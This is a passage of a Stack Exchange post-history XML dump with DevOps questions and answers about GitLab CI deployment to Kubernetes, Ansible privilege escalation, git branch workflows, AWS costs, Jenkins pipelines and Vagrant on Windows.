  <row Id="41674" PostHistoryTypeId="2" PostId="13553" RevisionGUID="c4af10af-dad3-499d-948e-2a66c9270c46" CreationDate="2021-03-15T16:12:59.923" UserId="4328" Text="When GitLab executes your job in a container, it mounts the project directory to the `/builds` directory in the container. You can reference this either by specifying `/builds/scheduler-deployment.yaml` or by using the predefined environment variable `$CI_PROJECT_DIR` with `$CI_PROJECT_DIR/scheduler-deployment.yaml`. " ContentLicense="CC BY-SA 4.0" />
  <row Id="41675" PostHistoryTypeId="5" PostId="13553" RevisionGUID="d95d60b5-f2de-4364-8a26-c235ac362808" CreationDate="2021-03-15T16:31:55.027" UserId="4328" Comment="added 100 characters in body" Text="Your error is most likely from referencing the wrong directory in your script block of your job.&#xD;&#xA;&#xD;&#xA;When GitLab executes your job in a container, it mounts the project directory to the `/builds` directory in the container. You can reference this either by specifying `/builds/scheduler-deployment.yaml` or by using the predefined environment variable `$CI_PROJECT_DIR` with `$CI_PROJECT_DIR/scheduler-deployment.yaml`. " ContentLicense="CC BY-SA 4.0" />
  <row Id="41676" PostHistoryTypeId="5" PostId="2964" RevisionGUID="ef08e914-18e0-4436-aa4a-ba592fb1efbc" CreationDate="2021-03-15T19:12:59.863" UserId="960" Comment="Update links" Text="&gt; When I run ansible against a host machine that has some commands I need to run as root, I can't run these with &quot;become&quot; because it runs the commands as root instead of just running them with sudo.&#xD;&#xA;&#xD;&#xA;That's not true; [`become`](https://docs.ansible.com/ansible/latest/become.html) uses a variety of methods for privilege escalation, and defaults to using `sudo`.&#xD;&#xA;&#xD;&#xA;Are you perhaps running into one of [the known limitations with the become module](https://docs.ansible.com/ansible/latest/user_guide/become.html#risks-and-limitations-of-become), like [trying to limit sudo access to certain commands](https://docs.ansible.com/ansible/latest/user_guide/become.html#privilege-escalation-must-be-general)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41677" PostHistoryTypeId="5" PostId="13541" RevisionGUID="d5796940-b604-473c-8765-6315228f3b71" CreationDate="2021-03-15T21:47:03.457" UserId="26596" Comment="add example" Text="Does anyone know of a name for the practice of maintaining $USER/$feature branches, or any discussion of git flows that use that pattern?&#xD;&#xA;&#xD;&#xA;We're experimenting with a workflow that involves each team member maintaining a $USER/$feature branch, adding their own commits and merging from others' branches until they all match, at which point we merge to base.  We're finding this works well for consensus-building on how a feature works as well as cross-training on how it's implemented.  It also parallelizes code reviews and helps avoid some of the other downsides of a single-threaded release or deployment process. &#xD;&#xA;&#xD;&#xA;In our example, alice commits on the alice/feature1 branch, bob commits on bob/feature1, carol on carol/feature1, and they are encouraged to selectively merge or cherry-pick from each others' branches while working on their own.  We use pre-written test cases to give them all the same target.  While this sounds like a lot of redundant code would be written, what we're finding in practice is that it encourages better communication and collaboration, both sync and async, and helps junior members come up to speed faster.  We're so far using a simple bash script that helps with merging and diffing.  The script also scrapes the git log of the remote branch to create `Co-authored-by:` lines in the commit so we have proper attribution when code is copied between individuals' branches.&#xD;&#xA;&#xD;&#xA;If I had to name this, I'd call it something like &quot;consensus flow&quot;, but that's just me.  Has this pattern already been in use for a while elsewhere and my google fu is simply failing me?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41678" PostHistoryTypeId="5" PostId="13541" RevisionGUID="cde66767-83fb-453e-86b9-5df7d5d7ff89" CreationDate="2021-03-15T21:56:03.503" UserId="26596" Comment="add example" Text="Does anyone know of a name for the practice of maintaining $USER/$feature branches, or any discussion of git flows that use that pattern?&#xD;&#xA;&#xD;&#xA;We're experimenting with a workflow that involves each team member maintaining a $USER/$feature branch, adding their own commits and merging from others' branches until they all match, at which point we merge to base.  We're finding this works well for consensus-building on how a feature works as well as cross-training on how it's implemented.  It also parallelizes code reviews and helps avoid some of the other downsides of a single-threaded release or deployment process. &#xD;&#xA;&#xD;&#xA;In our example, alice commits on the alice/feature1 branch, bob commits on bob/feature1, carol on carol/feature1, and they are encouraged to selectively merge or cherry-pick from each others' branches while working on their own.  We use pre-written test cases to give them all the same target.  While this sounds like a lot of redundant code would be written, what we're finding in practice is that it encourages better communication and collaboration, both sync and async, and helps junior members come up to speed faster.  We're so far using a simple bash script that helps with merging and diffing.  The script also scrapes the git log of the remote branch to create `Co-authored-by:` lines in the commit so we have proper attribution when code is copied between individuals' branches.&#xD;&#xA;&#xD;&#xA;Continuing the example, when `git diff alice/feature1 bob/feature1` and `git diff alice/feature1 carol/feature1` both return nil, then we've converged on a solution and it's time to merge to the base `feature1` branch.  What happens after that is dependent on project, but in general `feature1` then merges to master or a deployment branch.&#xD;&#xA;&#xD;&#xA;If I had to name this, I'd call it something like &quot;consensus flow&quot;, but that's just me.  Has this pattern already been in use for a while elsewhere and my google fu is simply failing me?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41679" PostHistoryTypeId="2" PostId="13554" RevisionGUID="43bc58a7-92b3-4d14-b899-7c49653f20de" CreationDate="2021-03-15T22:58:37.620" UserId="24649" Text="Managed to solve this by changing the `values.yaml` in the `loki-stack` helm chart to the following:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;promtail:&#xD;&#xA;  enabled: true&#xD;&#xA;  pipelineStages:&#xD;&#xA;  - cri: {}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Enjoy." ContentLicense="CC BY-SA 4.0" />
  <row Id="41680" PostHistoryTypeId="5" PostId="13551" RevisionGUID="f6cc30ec-b54b-4548-8a06-bdc0093fd39c" CreationDate="2021-03-16T02:38:47.167" UserId="26608" Comment="added 263 characters in body" Text="I have node.js application that I need to deploy to exising kubernetes cluster.&#xD;&#xA;&#xD;&#xA;The cluster is setup using `kops` on AWS.&#xD;&#xA;&#xD;&#xA;I have created `.gitlab-ci.yml` file for building docker images.&#xD;&#xA;&#xD;&#xA;So, whenever a change is pushed to either `master` or `develop` branch. It will build the docker image.&#xD;&#xA;&#xD;&#xA;Now, I have to deploy it  to exisitng kubernetes cluster. I have already followed steps mentioned [here][1] to add existing cluster.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For now, I am using shared runner.&#xD;&#xA;&#xD;&#xA;*How can I integrate kubernetes deployment after image is built with gitlab ci/cd to deploy on aws (cluster is created with kops)?*&#xD;&#xA;&#xD;&#xA;*For registry I am using gitlab's container registry not docker hub.*&#xD;&#xA;&#xD;&#xA;I have tried below `gitlab-ci.yaml` file,&#xD;&#xA;&#xD;&#xA;*gitlab-ci.yaml*&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;stages:&#xD;&#xA;  - docker-build&#xD;&#xA;  - deploy&#xD;&#xA;&#xD;&#xA;docker-build-master:&#xD;&#xA;  image: docker:latest&#xD;&#xA;  stage: docker-build&#xD;&#xA;  services:&#xD;&#xA;    - docker:dind&#xD;&#xA;  before_script:&#xD;&#xA;    - docker login -u &quot;$CI_REGISTRY_USER&quot; -p &quot;$CI_REGISTRY_PASSWORD&quot; $CI_REGISTRY&#xD;&#xA;  script:&#xD;&#xA;    - docker build --pull -t &quot;$CI_REGISTRY_IMAGE:prod&quot; .&#xD;&#xA;    - docker push &quot;$CI_REGISTRY_IMAGE:prod&quot;&#xD;&#xA;  only:&#xD;&#xA;    - master&#xD;&#xA;&#xD;&#xA;deploy-prod:&#xD;&#xA;  stage: deploy&#xD;&#xA;  image: roffe/kubectl&#xD;&#xA;  script:&#xD;&#xA;    - kubectl apply -f scheduler-deployment.yaml&#xD;&#xA;  only:&#xD;&#xA;    - master&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;docker-build-dev:&#xD;&#xA;  image: docker:latest&#xD;&#xA;  stage: docker-build&#xD;&#xA;  services:&#xD;&#xA;    - docker:dind&#xD;&#xA;  before_script:&#xD;&#xA;    - docker login -u &quot;$CI_REGISTRY_USER&quot; -p &quot;$CI_REGISTRY_PASSWORD&quot; $CI_REGISTRY&#xD;&#xA;  script:&#xD;&#xA;    - docker build --pull -t &quot;$CI_REGISTRY_IMAGE:dev&quot; .&#xD;&#xA;    - docker push &quot;$CI_REGISTRY_IMAGE:dev&quot;&#xD;&#xA;  only:&#xD;&#xA;    - develop&#xD;&#xA;```&#xD;&#xA;I am getting below error.&#xD;&#xA;```&#xD;&#xA;Executing &quot;step_script&quot; stage of the job script&#xD;&#xA;00:01&#xD;&#xA;Using docker image sha256:c8d24d490701efec4c8d544978b3e4ecc4855475a221b002a8f9e5e473398805 for roffe/kubectl with digest roffe/kubectl@sha256:ba13f8ffc55c83a7ca98a6e1337689fad8a5df418cb160fa1a741c80f42979bf ...&#xD;&#xA;$ kubectl apply -f scheduler-deployment.yaml&#xD;&#xA;error: unable to recognize &quot;scheduler-deployment.yaml&quot;: Get http://localhost:8080/api?timeout=32s: dial tcp [::1]:8080: connect: connection refused&#xD;&#xA;Cleaning up file based variables&#xD;&#xA;00:00&#xD;&#xA;ERROR: Job failed: exit code 1&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;File `scheduler-deployment.yaml` is a valid yaml file and it works when I apply manually.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/user/project/clusters/add_remove_clusters.html#add-existing-cluster&#xD;&#xA;&#xD;&#xA;If someone has any better idea to automate deployment to a k8s cluster with gitlab.&#xD;&#xA;&#xD;&#xA;*Pease do suggest.&#xD;&#xA;Any link or reference will also work.*&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41681" PostHistoryTypeId="5" PostId="13551" RevisionGUID="90e8cd02-400c-4a51-a5b6-ad372afa9833" CreationDate="2021-03-16T02:47:32.113" UserId="26608" Comment="added 619 characters in body" Text="I have node.js application that I need to deploy to exising kubernetes cluster.&#xD;&#xA;&#xD;&#xA;The cluster is setup using `kops` on AWS.&#xD;&#xA;&#xD;&#xA;I have created `.gitlab-ci.yml` file for building docker images.&#xD;&#xA;&#xD;&#xA;So, whenever a change is pushed to either `master` or `develop` branch. It will build the docker image.&#xD;&#xA;&#xD;&#xA;Now, I have to deploy it  to exisitng kubernetes cluster. I have already followed steps mentioned [here][1] to add existing cluster.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For now, I am using shared runner.&#xD;&#xA;&#xD;&#xA;*How can I integrate kubernetes deployment after image is built with gitlab ci/cd to deploy on aws (cluster is created with kops)?*&#xD;&#xA;&#xD;&#xA;*For registry I am using gitlab's container registry not docker hub.*&#xD;&#xA;&#xD;&#xA;I have tried below `gitlab-ci.yaml` file,&#xD;&#xA;&#xD;&#xA;*gitlab-ci.yaml*&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;stages:&#xD;&#xA;  - docker-build&#xD;&#xA;  - deploy&#xD;&#xA;&#xD;&#xA;docker-build-master:&#xD;&#xA;  image: docker:latest&#xD;&#xA;  stage: docker-build&#xD;&#xA;  services:&#xD;&#xA;    - docker:dind&#xD;&#xA;  before_script:&#xD;&#xA;    - docker login -u &quot;$CI_REGISTRY_USER&quot; -p &quot;$CI_REGISTRY_PASSWORD&quot; $CI_REGISTRY&#xD;&#xA;  script:&#xD;&#xA;    - docker build --pull -t &quot;$CI_REGISTRY_IMAGE:prod&quot; .&#xD;&#xA;    - docker push &quot;$CI_REGISTRY_IMAGE:prod&quot;&#xD;&#xA;  only:&#xD;&#xA;    - master&#xD;&#xA;&#xD;&#xA;deploy-prod:&#xD;&#xA;  stage: deploy&#xD;&#xA;  image: roffe/kubectl&#xD;&#xA;  script:&#xD;&#xA;    - kubectl apply -f scheduler-deployment.yaml&#xD;&#xA;  only:&#xD;&#xA;    - master&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;docker-build-dev:&#xD;&#xA;  image: docker:latest&#xD;&#xA;  stage: docker-build&#xD;&#xA;  services:&#xD;&#xA;    - docker:dind&#xD;&#xA;  before_script:&#xD;&#xA;    - docker login -u &quot;$CI_REGISTRY_USER&quot; -p &quot;$CI_REGISTRY_PASSWORD&quot; $CI_REGISTRY&#xD;&#xA;  script:&#xD;&#xA;    - docker build --pull -t &quot;$CI_REGISTRY_IMAGE:dev&quot; .&#xD;&#xA;    - docker push &quot;$CI_REGISTRY_IMAGE:dev&quot;&#xD;&#xA;  only:&#xD;&#xA;    - develop&#xD;&#xA;```&#xD;&#xA;I am getting below error.&#xD;&#xA;```&#xD;&#xA;Executing &quot;step_script&quot; stage of the job script&#xD;&#xA;00:01&#xD;&#xA;Using docker image sha256:c8d24d490701efec4c8d544978b3e4ecc4855475a221b002a8f9e5e473398805 for roffe/kubectl with digest roffe/kubectl@sha256:ba13f8ffc55c83a7ca98a6e1337689fad8a5df418cb160fa1a741c80f42979bf ...&#xD;&#xA;$ kubectl apply -f scheduler-deployment.yaml&#xD;&#xA;error: unable to recognize &quot;scheduler-deployment.yaml&quot;: Get http://localhost:8080/api?timeout=32s: dial tcp [::1]:8080: connect: connection refused&#xD;&#xA;Cleaning up file based variables&#xD;&#xA;00:00&#xD;&#xA;ERROR: Job failed: exit code 1&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;File `scheduler-deployment.yaml` is a valid yaml file and it works when I apply manually.&#xD;&#xA;&#xD;&#xA;Below is the `deployment` file.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: apps/v1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: sheduler-deployment&#xD;&#xA;spec:&#xD;&#xA;  replicas: 2&#xD;&#xA;  selector:&#xD;&#xA;    matchLabels:&#xD;&#xA;      app: scheduler&#xD;&#xA;  template:&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        app: scheduler&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;        - name: scheduler&#xD;&#xA;          image: registry.gitlab.com/user/schedulingapis:dev&#xD;&#xA;          env:&#xD;&#xA;            - name: REDIS_HOST&#xD;&#xA;              value: &quot;redis://redis-master &quot;&#xD;&#xA;            - name: RABBITMQ_HOST&#xD;&#xA;              value: &quot;amqp://rabbitmq&quot;&#xD;&#xA;      imagePullSecrets:&#xD;&#xA;        - name: registry-credentials&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/user/project/clusters/add_remove_clusters.html#add-existing-cluster&#xD;&#xA;&#xD;&#xA;If someone has any better idea to automate deployment to a k8s cluster with gitlab.&#xD;&#xA;&#xD;&#xA;*Pease do suggest.&#xD;&#xA;Any link or reference will also work.*&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41683" PostHistoryTypeId="2" PostId="13555" RevisionGUID="5a78a1c5-8c8b-4ffe-9d74-6c3469f5d5d0" CreationDate="2021-03-16T06:54:11.507" UserId="26626" Text="&#xD;&#xA;I'm new to aws cloud service. I have to create a parallel cluster in aws. So, I'm using aws parallel cluster. But the problem is, when creating a cluster the NAT gateway billing me when I'm not using it. So, the cost increases. Is there any way I can minimize or automate the NAT gateway process so that it will cost me less??&#xD;&#xA; &#xD;&#xA;PS:If there is any project which gives me on demand vpc in parallel cluster that would be very nice.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41684" PostHistoryTypeId="1" PostId="13555" RevisionGUID="5a78a1c5-8c8b-4ffe-9d74-6c3469f5d5d0" CreationDate="2021-03-16T06:54:11.507" UserId="26626" Text="Cost minimization in aws parallel cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="41685" PostHistoryTypeId="3" PostId="13555" RevisionGUID="5a78a1c5-8c8b-4ffe-9d74-6c3469f5d5d0" CreationDate="2021-03-16T06:54:11.507" UserId="26626" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41686" PostHistoryTypeId="5" PostId="13555" RevisionGUID="d1871083-577a-4204-bfa2-e2681586b736" CreationDate="2021-03-16T07:53:40.583" UserId="26626" Comment="added 38 characters in body" Text="&#xD;&#xA;I'm new to aws cloud service. I have to create a parallel cluster in aws. So, I'm using aws parallel cluster. But the problem is, when creating a cluster the NAT gateway billing me when I'm not using it. So, the cost increases. Is there any way I can minimize or automate the NAT gateway process so that it will cost me less??&#xD;&#xA; &#xD;&#xA;PS:If there is any project which gives me on demand NAT gateway hour or Nat gateway instances in parallel cluster that would be very nice.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41687" PostHistoryTypeId="2" PostId="13556" RevisionGUID="3c74bec1-510d-4025-866d-6d8ddf4ca18b" CreationDate="2021-03-16T09:43:49.427" UserId="26604" Text="I want to schedule the deployments according to different timings. Is it possible to configure in the deployment.yml files that the deployment should be scaled to 0 at some hour and scaled up again at some other time (Saving costs)? &#xD;&#xA;&#xD;&#xA;Can the openshift job scheduler be used to achieve something like this?&#xD;&#xA;&#xD;&#xA;What are the possibilities to achieve such a result?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41688" PostHistoryTypeId="1" PostId="13556" RevisionGUID="3c74bec1-510d-4025-866d-6d8ddf4ca18b" CreationDate="2021-03-16T09:43:49.427" UserId="26604" Text="Auto start and stop of deployments and pods" ContentLicense="CC BY-SA 4.0" />
  <row Id="41689" PostHistoryTypeId="3" PostId="13556" RevisionGUID="3c74bec1-510d-4025-866d-6d8ddf4ca18b" CreationDate="2021-03-16T09:43:49.427" UserId="26604" Text="&lt;openshift&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41690" PostHistoryTypeId="2" PostId="13557" RevisionGUID="4d35e4c6-8032-4c1e-8fd6-c99ededc1bdb" CreationDate="2021-03-16T10:19:33.610" UserId="26629" Text="Good morning,&#xD;&#xA;&#xD;&#xA;I am encountering the following problem, I have a pipeline of a project with node inside GitLab, I have CI/CD but I have it controlled by pressing a button. Let's imagine I have a series of commits waiting to be deployed, if I deploy the last of the commits of that branch, could I get an error? Assuming that all the commits are OK and do not conflict.  That is to say, would it be necessary to deploy each and every one of the commits or taking into account that the last commit has all the new code of the project, it would be enough?&#xD;&#xA;&#xD;&#xA;I know it is an &quot;exercise&quot; of imagination but I have not encountered this case and no one of my colleagues has been able to answer me.&#xD;&#xA;&#xD;&#xA;Best Regards!&#xD;&#xA;&#xD;&#xA;Rothem" ContentLicense="CC BY-SA 4.0" />
  <row Id="41691" PostHistoryTypeId="1" PostId="13557" RevisionGUID="4d35e4c6-8032-4c1e-8fd6-c99ededc1bdb" CreationDate="2021-03-16T10:19:33.610" UserId="26629" Text="GitLab Pipeline error with differents commits" ContentLicense="CC BY-SA 4.0" />
  <row Id="41692" PostHistoryTypeId="3" PostId="13557" RevisionGUID="4d35e4c6-8032-4c1e-8fd6-c99ededc1bdb" CreationDate="2021-03-16T10:19:33.610" UserId="26629" Text="&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41693" PostHistoryTypeId="50" PostId="12816" RevisionGUID="f4fcdb8f-d963-44c1-8ed1-426a2f879f6d" CreationDate="2021-03-16T11:00:25.067" UserId="-1" />
  <row Id="41694" PostHistoryTypeId="33" PostId="10929" RevisionGUID="313a45fc-6193-4313-a62f-54bafd502320" CreationDate="2021-03-16T13:58:28.397" UserId="19943" Comment="68" />
  <row Id="41695" PostHistoryTypeId="2" PostId="13558" RevisionGUID="82554e3a-01a0-4b4e-8ce4-f724ba693d14" CreationDate="2021-03-16T14:27:16.737" UserId="26631" Text="I am trying to execute a script based on the result of a particular stage in a Jenkins declarative pipeline, but the post block seems to be dependent on the status of the entire pipeline. Any way of doing this?&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;      stages{&#xD;&#xA;        stage(&quot;A&quot;){&#xD;&#xA;         //results in unstable&#xD;&#xA;        }&#xD;&#xA;        stage(&quot;B&quot;){&#xD;&#xA;          steps{&#xD;&#xA;            ...&#xD;&#xA;            //successful stage execution&#xD;&#xA;           }&#xD;&#xA;          post{&#xD;&#xA;             success {&#xD;&#xA;              script { &#xD;&#xA;                // never executes since the pipeline status is unstable&#xD;&#xA;                // how can I get here since the stage was successful?&#xD;&#xA;              }&#xD;&#xA;             }&#xD;&#xA;           }&#xD;&#xA;         }&#xD;&#xA;       }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;here are the docs, in case I missed it: https://www.jenkins.io/doc/book/pipeline/syntax/#post&#xD;&#xA;&#xD;&#xA;**copied from SO**: https://stackoverflow.com/questions/66657023/can-you-limit-the-scope-of-the-post-block-in-jenkins-to-the-stage-result-statu" ContentLicense="CC BY-SA 4.0" />
  <row Id="41696" PostHistoryTypeId="1" PostId="13558" RevisionGUID="82554e3a-01a0-4b4e-8ce4-f724ba693d14" CreationDate="2021-03-16T14:27:16.737" UserId="26631" Text="Can you limit the scope of the “post” block in Jenkins to the stage result status?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41697" PostHistoryTypeId="3" PostId="13558" RevisionGUID="82554e3a-01a0-4b4e-8ce4-f724ba693d14" CreationDate="2021-03-16T14:27:16.737" UserId="26631" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41698" PostHistoryTypeId="2" PostId="13559" RevisionGUID="74437e0b-b00e-4b7f-9f93-9365e21a4345" CreationDate="2021-03-16T15:03:15.553" UserId="26265" Text="I don't know about Google Cloud but **yes on Digital Ocean**, I do it all the time! Just make sure you have [Docker Compose installed](https://docs.docker.com/compose/install) on the droplet and then run the commands the same as you do locally." ContentLicense="CC BY-SA 4.0" />
  <row Id="41701" PostHistoryTypeId="2" PostId="13560" RevisionGUID="15f6d7e0-c13f-4239-8910-cb3ae90c3eac" CreationDate="2021-03-16T15:29:07.490" UserId="26619" Text="A few years later this thread is still the first result in Google, but running Docker+Vagrant (**with VirtualBox**) on Windows isn't a challenge anymore. You can easily run them both, as described [here][1]&#xD;&#xA;&#xD;&#xA;If for some reason you want to use Vagrant with VirtualBox as a provider you should update to VB 6.x - after that, you can run VirtualBox, Vagrant, and Docker at the same time. Just configure your VM to use Hyper-V as Paravirtualization Interface. You can do it by VirtualBox GUI (VM's Settings -&gt; System -&gt; Acceleration -&gt; Paravirtualization Interface) or by using Vagrantfile:&#xD;&#xA;&#xD;&#xA;    Vagrant.configure(&quot;2&quot;) do |config|&#xD;&#xA;      # your config (…)&#xD;&#xA;      config.vm.provider &quot;virtualbox&quot; do |vb|&#xD;&#xA;        vb.customize [&#xD;&#xA;          &quot;modifyvm&quot;, :id,&#xD;&#xA;           &quot; - paravirtprovider&quot;, &quot;hyperv&quot;&#xD;&#xA;        ]&#xD;&#xA;      end&#xD;&#xA;      # your config (…)&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;This will work not only for Windows Enterprise/Pro/Edu but also for Home Edition (with WSL2 as Docker Backend). This solution shouldn't break your VirtualBox's machine, so you **don't have to switch hypervisorlaunchtype** over and over again&#xD;&#xA;&#xD;&#xA;P.S.&#xD;&#xA;Thanks for Tensibai for pointing out my previous answer wasn't quite compliant with the SE rules&#xD;&#xA;&#xD;&#xA;  [1]: https://kubut.medium.com/it-is-2021-running-docker-and-vagrant-parallel-on-windows-isnt-impossible-anymore-a8ea7de0536c" ContentLicense="CC BY-SA 4.0" />
  <row Id="41703" PostHistoryTypeId="50" PostId="9526" RevisionGUID="745ae47a-ebf9-4aa5-b818-a4d39c5ab500" CreationDate="2021-03-16T18:04:50.513" UserId="-1" />
  <row Id="41704" PostHistoryTypeId="5" PostId="13560" RevisionGUID="2f1194a4-5354-46ba-9204-090f18dfe1a5" CreationDate="2021-03-16T18:30:40.093" UserId="40" Comment="deleted 105 characters in body" Text="A few years later this thread is still the first result in Google, but running Docker+Vagrant (**with VirtualBox**) on Windows isn't a challenge anymore. You can easily run them both, as described [here][1]&#xD;&#xA;&#xD;&#xA;If for some reason you want to use Vagrant with VirtualBox as a provider you should update to VB 6.x - after that, you can run VirtualBox, Vagrant, and Docker at the same time. Just configure your VM to use Hyper-V as Paravirtualization Interface. You can do it by VirtualBox GUI (VM's Settings -&gt; System -&gt; Acceleration -&gt; Paravirtualization Interface) or by using Vagrantfile:&#xD;&#xA;&#xD;&#xA;    Vagrant.configure(&quot;2&quot;) do |config|&#xD;&#xA;      # your config (…)&#xD;&#xA;      config.vm.provider &quot;virtualbox&quot; do |vb|&#xD;&#xA;        vb.customize [&#xD;&#xA;          &quot;modifyvm&quot;, :id,&#xD;&#xA;           &quot; - paravirtprovider&quot;, &quot;hyperv&quot;&#xD;&#xA;        ]&#xD;&#xA;      end&#xD;&#xA;      # your config (…)&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;This will work not only for Windows Enterprise/Pro/Edu but also for Home Edition (with WSL2 as Docker Backend). This solution shouldn't break your VirtualBox's machine, so you **don't have to switch hypervisorlaunchtype** over and over again.&#xD;&#xA;&#xD;&#xA;  [1]: https://kubut.medium.com/it-is-2021-running-docker-and-vagrant-parallel-on-windows-isnt-impossible-anymore-a8ea7de0536c" ContentLicense="CC BY-SA 4.0" />
  <row Id="41705" PostHistoryTypeId="2" PostId="13561" RevisionGUID="1ff71186-80a9-411a-8c16-f9f0ab656053" CreationDate="2021-03-17T00:29:33.527" UserId="25245" Text="According to RHE's website, the project Atomic Host was deprecated on August 06, 2020. &#xD;&#xA; 1. I am curious if anyone knows if they are actively contributing to Fedora's Silverblue project and/or CoreOS project?&#xD;&#xA; 2. What was the reason behind RHE's decision not to continue developing RHE Atomic Host?&#xD;&#xA; 3. Can you share your experience (Pros/Cons) working with CoreOS?&#xD;&#xA;&#xD;&#xA;RHE Atomic Host: [documentation][1] &lt;br&gt;&#xD;&#xA;The idea behind the Atomic Host project as a presentation: [presentation/documentation][2] &lt;br&gt;&#xD;&#xA;Differences between RHEL Server and RHEL Atomic Host: [article/documentation][3] &lt;br&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux_atomic_host/7/html/release_notes/index&#xD;&#xA;  [2]: https://access.redhat.com/articles/2772861&#xD;&#xA;  [3]: http://people.redhat.com/bbreard/presos/RH-Atomic-Con-kubernetes.pdf" ContentLicense="CC BY-SA 4.0" />
  <row Id="41706" PostHistoryTypeId="1" PostId="13561" RevisionGUID="1ff71186-80a9-411a-8c16-f9f0ab656053" CreationDate="2021-03-17T00:29:33.527" UserId="25245" Text="Are Fedora's Silverblue and CoreOS projects viable for Team Stations and Dev/Production envs, respectively? (Instead of CentOS)" ContentLicense="CC BY-SA 4.0" />
  <row Id="41707" PostHistoryTypeId="3" PostId="13561" RevisionGUID="1ff71186-80a9-411a-8c16-f9f0ab656053" CreationDate="2021-03-17T00:29:33.527" UserId="25245" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;centos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41708" PostHistoryTypeId="2" PostId="13562" RevisionGUID="bd52d594-c91c-4b24-9ba6-6e8a7e39d158" CreationDate="2021-03-17T05:05:40.300" UserId="26640" Text="I am using kubectl for kubernetes based deployments. &#xD;&#xA;I created a deployment which gone to crashloopbackoff state. Then for correcting this issue, rolling update is done. But the deployment failed due to OOM. Then if i do a rollout undo, i am seeing current and previous replicasets with the respective pods in failed state. I only need the previous replicasets with running pods. Any points what might have gone wrong. Thank you so much." ContentLicense="CC BY-SA 4.0" />
  <row Id="41709" PostHistoryTypeId="1" PostId="13562" RevisionGUID="bd52d594-c91c-4b24-9ba6-6e8a7e39d158" CreationDate="2021-03-17T05:05:40.300" UserId="26640" Text="Doing kubectl rollout undo causing current and previous replicasets persists" ContentLicense="CC BY-SA 4.0" />
  <row Id="41710" PostHistoryTypeId="3" PostId="13562" RevisionGUID="bd52d594-c91c-4b24-9ba6-6e8a7e39d158" CreationDate="2021-03-17T05:05:40.300" UserId="26640" Text="&lt;kubernetes&gt;&lt;kubectl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41711" PostHistoryTypeId="2" PostId="13563" RevisionGUID="0c6d7114-2721-42a2-b5ca-e2158fbc2f8a" CreationDate="2021-03-17T11:15:10.483" UserId="6" Text="The AWS EventBridge service allows to execute the SSM Run Command feature based on triggered events. The RunCommand feature accepts parameters such as which command to run, and these can be injected from the original event using InputTransformer.&#xD;&#xA;&#xD;&#xA;How can the RunCommandTargets be configured to be based on values in the original event?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41712" PostHistoryTypeId="1" PostId="13563" RevisionGUID="0c6d7114-2721-42a2-b5ca-e2158fbc2f8a" CreationDate="2021-03-17T11:15:10.483" UserId="6" Text="How to set AWS Events RunCommandsTargets value from event input?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41713" PostHistoryTypeId="3" PostId="13563" RevisionGUID="0c6d7114-2721-42a2-b5ca-e2158fbc2f8a" CreationDate="2021-03-17T11:15:10.483" UserId="6" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41714" PostHistoryTypeId="2" PostId="13564" RevisionGUID="f678677d-c445-49ea-9bf5-82d38a327dd3" CreationDate="2021-03-17T11:23:24.183" UserId="22501" Text="How do I write a yaml file such that it defines an array with a list of values, and it skips those values from being added to the yaml array if the given value is undefined?&#xD;&#xA;&#xD;&#xA;Specifically, I'm trying to define an array of IP addresses to which I want a service (sshd) to bind to, including the ipv4 and ipv6 addresses. If there is both an ipv4 &amp; ipv6 address, then the array should contain both values. If there is only an ipv4 address or only an ipv6 address, then it should contain one of those values.&#xD;&#xA;&#xD;&#xA;This doesn't work, as it will produce an error `&quot;msg&quot;: &quot;AnsibleUndefinedVariable: 'dict object' has no attribute 'address'&quot;}`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    ssh_listen_to:&#xD;&#xA;      - &quot;{{ 